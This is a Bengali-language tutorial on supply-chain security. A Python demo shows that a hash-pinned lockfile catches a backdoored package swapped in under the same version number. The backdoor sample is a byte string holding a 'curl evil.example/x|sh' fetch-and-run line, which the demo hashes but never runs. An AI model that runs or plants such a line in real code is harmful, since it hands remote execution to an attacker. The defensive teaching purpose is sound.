Supply Chain Security — যখন দুর্বলতম লিংক আপনার কোড না, আপনার dependency-র dependency

লক্ষ্য: dependency confusion-এ resolver “কোন উৎস” প্রশ্নটা মিস করেছিল; এখানে দেখাব আরেকটা কাছাকাছি কিন্তু আলাদা ফাঁক — এমনকি সঠিক registry থেকে সঠিক নাম-ও version-এ ইনস্টল করা হলেও, যদি সেই registry-account-ই compromise হয় (ঠিক xz-utils-এ যেমন হয়েছিল — Jia Tan-এর নিজের commit access-ই আক্রমণের বাহন ছিল), শুধু “version নম্বর মিলছে” যথেষ্ট প্রমাণ না যে বাইট বদলায়নি। Content hash pin করাই একমাত্র সরাসরি প্রমাণ।

# lockfile_pin.py -- hash-pinned lockfile catching a swapped/tampered package
import hashlib

def sha256_hex(data: bytes) -> str:
    return hashlib.sha256(data).hexdigest()

# what the developer actually reviewed and approved, at install time
LEGIT_PACKAGE_BYTES = b"def add(a, b):\n    return a + b\n"

# lockfile records name, resolved version, AND the exact content hash --
# not just a version string, which (as the dependency-confusion demo showed)
# can be satisfied by more than one actual file
LOCKFILE = {
    "acme-mathutils": {
        "version": "1.0.3",
        "sha256": sha256_hex(LEGIT_PACKAGE_BYTES),
    }
}

def install(name, downloaded_bytes, lockfile):
    entry = lockfile.get(name)
    if entry is None:
        return False, "package not in lockfile -- refusing unpinned install"
    actual_hash = sha256_hex(downloaded_bytes)
    if actual_hash != entry["sha256"]:
        return False, f"HASH MISMATCH -- expected {entry['sha256'][:16]}..., got {actual_hash[:16]}..."
    return True, "hash verified, install proceeds"

print("-- installing the legitimate package bytes --")
ok, msg = install("acme-mathutils", LEGIT_PACKAGE_BYTES, LOCKFILE)
print(f"  ok={ok}  {msg}")

print("\n-- attacker compromises the registry account and swaps the same")
print("   version number for a backdoored file (version string unchanged) --")
TAMPERED_PACKAGE_BYTES = b"def add(a, b):\n    import os; os.system('curl evil.example/x|sh')\n    return a + b\n"
ok, msg = install("acme-mathutils", TAMPERED_PACKAGE_BYTES, LOCKFILE)
print(f"  ok={ok}  {msg}")

print("\n-- a version-only lockfile (no hash) would have accepted both --")
print("  version-only check: downloaded package claims version 1.0.3, "
      "matches lockfile version 1.0.3 -> INSTALL (no way to tell bytes changed)")

প্রত্যাশিত output (deterministic — SHA-256 সবসময় একই input-এ একই output দেয়):

-- installing the legitimate package bytes --
  ok=True  hash verified, install proceeds

-- attacker compromises the registry account and swaps the same
   version number for a backdoored file (version string unchanged) --
  ok=False  HASH MISMATCH -- expected ba1a531f581d2e60..., got a7af06ef3c2b4753...

-- a version-only lockfile (no hash) would have accepted both --
  version-only check: downloaded package claims version 1.0.3, matches lockfile version 1.0.3 -> INSTALL (no way to tell bytes changed)

মূল মুহূর্ত ok=False HASH MISMATCH — version নম্বর অপরিবর্তিত থাকা সত্ত্বেও (1.0.3 থেকে 1.0.3) বাইট বদলে যাওয়ায় hash আলাদা, আর সেটাই ধরা পড়ে। এইটাই বাস্তব package manager-দের (npm-এর package-lock.json, pip-এর requirements.txt --hash, Cargo-র Cargo.lock) hash-pinning ফিচারের মূল যুক্তি — শেষ লাইনটা দেখাচ্ছে কেন শুধু version pin করাই যথেষ্ট না, যদি সেই version-এর পেছনের বাইট বদলে যাওয়ার সুযোগ থাকে।

নিজে বাড়ান:

1. LOCKFILE-এ একটা source: "private" field যোগ করুন এবং install()-এ dependency-confusion-এর check-টাও একসাথে বসিয়ে দিন — একটা ফাংশনে দুইটা defense একসাথে
2. একটা মিনিমাল SBOM ({"name": ..., "version": ..., "sha256": ...}-এর একটা তালিকা) generate করুন পুরো LOCKFILE থেকে, আর ভাবুন — production incident-এর সময় (যেমন কোনো নতুন CVE ঘোষণা হলে) এই তালিকা কীভাবে “আমরা কি affected?” প্রশ্নের উত্তর সেকেন্ডে দিতে পারে
3. Reproducible build মানে হলো একই source থেকে বারবার build করলে ঠিক একই hash-এর বাইনারি বের হওয়া — install() ফাংশনের hash-check ধারণাটাই সম্প্রসারিত করে ভাবুন: source hash-pin করাই কি যথেষ্ট, নাকি build process-টাও deterministic হওয়া দরকার? কেন?